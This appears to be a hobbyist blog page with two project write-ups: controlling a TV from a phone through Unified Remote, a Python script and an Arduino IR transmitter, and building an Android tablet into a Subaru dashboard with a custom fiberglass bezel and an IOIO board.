There are some single purpose PC remote apps out there and they’re pretty good, but I like extensibility and having a swiss-army knife type tool so that I can do everything from one place; even if it requires a little customization work on my part. Unified Remote absolutely delivers. It comes with a handy selection of remotes out of the box, but the reason I paid for the app was to take advantage of the custom remote feature. As long as you can string together some XML, you can create your own layout and map the buttons to a wide variety of built-in actions. Even better is the ability to have the Unified Remote server (the application running on the PC to receive the wifi packets the phone app sends) execute arbitrary programs on the PC and feed them parameters.

Armed with this ability and sick of still needing to keep my TV’s remote within reach – instead of its natural habitat which is apparently in between the couch cushions – I set out to devise a method of controlling the TV from the phone as well. I wanted something that wasn’t intrusive and didn’t require me to break open the TV. I first looked into using CEC, but it’s not that well documented for my TV and it seemed like it was going to be a hassle. Instead, I decided good old-fashioned IR would be best.

I remembered seeing an IR library for the Arduino, so I started looking into it. I was surprised to learn that IR communication for things like TVs and stereo receivers is not as simple as just several flashes of light for different lengths of time. In fact, I’d go as far as to say that they’re packets! Fortunately, the library takes care of most of those details, but I did find it interesting. At the time the library didn’t support Panasonic, but I found a comment on the library’s author’s (Ken Shirriff) page that included the code I needed to get things working. The commands are sent as ‘Extras’ from the Unified Remote app to the server and passed as parameters to an executable specified in the remote config. In my case that executable was a python script that transmits the command over USB to the Arduino which, in turn, blinks the IR LED to transmit the packets to the TV.

 

Diagram of how the TV is controlled from a mobile device over WiFi.

Diagram of how the TV is controlled from a mobile device over WiFi.

Remote Creator

The rough part about creating custom remotes for Unified Remote is that there’s no WYSIWYG-style editor and it’s not easy to see what the XML will render until the phone pulls the updated config from the server. As a result, I never put together a hand-crafted remote with more than a couple of buttons to control the TV itself. To get beyond my reluctance to do so and to hopefully help others, I created an app called Remote Creator that lets one visually design a custom remote and have XML generated. It was also supposed to be a super simple app that didn’t take more than a day or so to write. However, I ended up spending several weeks on it in my spare time due to some rewrites since I wanted the code to look nice when it was released. The part I’m most proud of is the way the XML config is generated. It exploits knockoutjs’s ability to generate XML/HTML based on javascript models. Unfortunately, Unified Remote expects all XML tag and attribute names to have their first letter uppercase and remaining letters lowercase. This is a problem because browsers (at least Chrome and Firefox) tend to lowercase tag and attribute names. As a result, some regex-replace calls are required. Also, the ‘data-bind’ attribute must be removed from the XML nodes. Remote Creator does not support generation of all available features at this time due to my choice to iterate based on demand. The app is available here.

screenshot

Code:

panasonicTvControl.pde for Arduino

rcvFromUnifiedRemote.py

Remote Creator web app

 

Tagged with:
 

Android CarPC

On October 9, 2012, in Projects, by Matt Defenthaler

It all started when I became fed up with how antiquated my 2008 Subaru’s stereo felt. Automotive electronics are almost always at least 5 years behind the curve. Fortunately, we live in a time where fixing this particular problem just takes a little bit of know-how. The following describes how I integrated an Android tablet into my Subaru Legacy.

The choice of tablet: HTC Evo View 4G
This was governed by cost, reliability, size, and hardware.

Requirements:

  • Bluetooth, GPS, WiFi, 1GHz
  • Size: The tablet had to fit between the two center vents.
  • Vehicle Modifications: I wanted to be able to easily replace the setup with the factory equipment if necessary (for instance: if, when I sell the car at some point, the buyer didn’t want this contraption.) In other words, minimal modification to the car.

Initial Uses:

  • GPS Navigation
  • OBDII display (show real-time data: RPMs, MPG, MPH, etc.) via Torque
  • Music (stored on sdcard as well as from services like Pandora)
  • Internet access (obviously)

Build Log

The first step was to mock up the tablet to determine any modifications that would be required for proper fitment, alignment, and depth.

In the picture above, I had not installed the plastic pieces that route the air from the common rail/tube beneath the dash to the vents. Once I attempted to install them, I realized I had no room to plug in a USB cable on one end and an audio cable into the headphone jack on the other end. This is where the project required some more thought. Would the tablet I chose even work within these size constraints? Would I have to hack up the factory routing to the A/C (this would surely break the constraint of minimal vehicle modifications)?

Fortunately, after disassembling the tablet, I discovered that the USB and headphone jack were each on their own separate circuit boards. There’s plenty of room behind the tablet due to its thin nature. Below is the solution I came up with.

The audio jack was pretty simple. It already had a bracket that I was able to put a 90* bend in to have it face away from the screen. The USB board had no such bracket, so I had to make my own. I went into my parts bin and found a part that had small steel brackets that would work with the small screws from the tablet as well as some spare screws I’d need to attach the other end of the bracket. The only problem is that I couldn’t find nuts to fit the tiny screws. I decided to go super simple by making small blocks out of epoxy stick that the screws would fasten into.

Here they are installed

Also visible in the image above is the modification I made to the tablet to end of the tablet. I had to cut it down a bit for the sake of better fitment.

Now it was time to start making the custom bezel that would be bolted to the factory vent trim. The best way I could come up with to get a nice, comfy fit to the tablet’s form was to use it as an inner mold for the fiberglass. The first step was to wrap the tablet in cling-wrap to protect it from the sticky fiberglass resin.

And so, the first layer of fiberglass went on.

While I let the resin cure, I started creating the pieces that would give shape to the bezel between the tablet and the factory trim. I’ve had decent luck with thin pieces of cardboard in the past, so I used a cereal box as the source and got to work. I needed to match the curvature of the trim which I did by tracing the curvature onto the a strip cut from the cereal box.

After adding another layer of fiberglass mat and resin and letting things cure, I positioned the cardboard pieces on the newly created base and secured their position with a few drops of superglue.

It was finally starting to look like something! It’s such a great feeling to see things coming together; to create something from essentially nothing but an idea.

Of course, cardboard won’t really cut it, so on went the fiberglass mat and resin.

Once again, another layer was added for strength. Things are continuing to come together, but it’s still very rough and nowhere near the final product. After a lot of sanding to smooth out the interior of the bezel, I had to work on getting straight edges along the perimeter of the tablet’s screen.

Trying to sand the fiberglass and get a straight line along the edges was nearly impossible. It was also very difficult to get 90* corners by sanding. How? Then it hit me, just use a frame for the fiberglass resin. So I bought some square balsa rod and did just that.

Looks pretty good. Time to test it out with the screen on to make sure we can see (and touch) everything along the edges.

Now that the front had taken shape, it was time to put some effort into the back, particularly how the bezel would be affixed to the factory plastic. I decided to extend the fiberglass of the bezel to form brackets as shown.

Once the brackets cured, a lot of sanding took place to get a smooth finish on the front area of the bezel to make things look as close to factory as possible. One of my concerns with the permanent design choice (as opposed to a design that would allow the tablet to easily be removed) was accessing necessary inputs in case of failure. The most important of these inputs is the power button. The power button turns the screen on and off in addition to turning the device on and initiating device shutdown. Since the original power button would be inaccessible, I tapped into the appropriate pins (discovered by testing for continuity with my multimeter) and ran wires to another push button.

After paint and installing the auxiliary power button, it was time to introduce the tablet to its new home. In order to integrate the tablet’s audio with the stereo in my car, I tapped into the factory radio harness’s aux input wires by splicing in one end of a set of headphones. The 3.5mm plug remained on the other end and was inserted into the headphone jack of the tablet. My other integration concern was power. Fortunately, I was able to get 12v from the harness that connected to a clock/display that was removed to make room for the tablet. The tablet obviously does not take 12v, so I toyed around with some 12v to USB adapters. Initially I used one of those adapters for power, but after receiving my IOIO (more on that in a bit), I found that it’s happy to take in 12v and convert it power the tablet over the USB connection. Anyway, here she is!

IOIO for Android

The IOIO is a board that gives Android devices the ability to interface with a microcontroller. It supports “Digital Input/Output, PWM, Analog Input, I2C, SPI, and UART control” and even has its own voltage regulator built in to relieve you of worrying about that aspect of things. It’s ~$50, but I thought I read about a new version coming out that would be ~$30.

For this project I have initially used the IOIO for its voltage regulator and digital input capabilities. In order to have the screen switched on and off with the ignition, I found that one of the pins on the clock harness I was using for power also contained pins that went high (12v) at different points in the ignition switch (ACC/ON/OFF). I decided to use a simple voltage divider to get 5v from the 12v ACC pin and use that 5v as a digital input on the IOIO. When it sees 5v, it turns the screen on. Once the 5v is removed, the screen is turned off.

Future plans

My future plans for the IOIO are a bit more ambitious. I’d like to use its SPI capability to communicate with an SPI-to-CAN board in order to talk to the CAN-bus of the car. Integrating with the CAN-bus of the car can potentially give access to unlocking doors, rolling down windows, or even starting the car. Allowing the tablet to communicate with the car’s CAN-bus means wirelessly extending control of the CAN-bus (yes, there are security risks that need to be considered here). Imagine unlocking the doors or starting the car with some WiFi packets from your phone.  Additionally, the CAN-bus also contains messages for buttons in the car. Presses of those buttons can passively be listened for by the IOIO/tablet and invoke actions consequently.

This part of the project is on hold since I have ADD when it comes to projects (among everything else) and have moved on to a couple other things. However, I did attempt to communicate with the SPI-to-CAN board with my Bus Pirate. Unfortunately, I couldn’t seem to get things working consistently. This is most likely due to my experience. I’m sure the board works fine.

Tagged with: